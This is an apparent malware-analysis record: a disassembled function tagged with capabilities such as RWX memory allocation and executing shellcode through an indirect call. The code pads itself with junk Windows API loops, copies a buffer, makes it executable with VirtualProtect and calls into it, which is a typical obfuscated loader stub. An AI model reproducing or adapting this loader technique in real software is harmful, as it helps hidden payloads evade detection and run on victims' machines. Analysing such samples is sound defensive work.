Function at 0x4056b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x42a004]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
jmp 0x4056e0
cmp dword [0x47206c], 0xc31
jne 0x405705
xor eax, eax
lea edx, [esp + 0x14]
push edx
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
mov dword [esp + 0x24], eax
call ebx
call esi
dec edi
jne 0x4056e0
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x47206c]
xor ebx, ebx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x405734
mov ecx, dword [0x42b934]
mov dword [0x4723f4], ecx
cmp eax, 0x3c
jne 0x405741
push ebx
call edi
mov eax, dword [0x47206c]
inc esi
cmp esi, 0x5f6c74
jl 0x405720
cmp eax, 0x7c
jne 0x405787
push ebx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x4057ea
push ebx
mov dword [0x472060], ebx
mov dword [0x472064], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.yexabohisanewujolu
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor esi, esi
cmp dword [0x47206c], ebx
jbe 0x40583b
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
nop
mov eax, dword [0x4723f4]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
cmp dword [0x47206c], 0x5ab
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x471d90]
mov byte [eax + esi], dl
jne 0x405832
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x47206c]
jb 0x405800
call fcn.00405480
mov edx, dword [0x47206c]
mov eax, dword [0x471d90]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405620
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea ecx, [esp + 0x2c]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405895
cmp dword [esp + 0x34], 0xf5bed7
jne 0x40589e
inc esi
cmp esi, 0x1ece7a52
jl 0x405872
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
lea esp, [esp]
cmp esi, 0x12e6c3
jne 0x4058bd
call fcn.00405440
cmp dword [0x47206c], 0x3dc
mov dword [0x471d94], 0x8e46a6f0
jne 0x4058e6
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push edx
push edx
mov dword [esp + 0x24], edx
call edi
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x4058b0
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret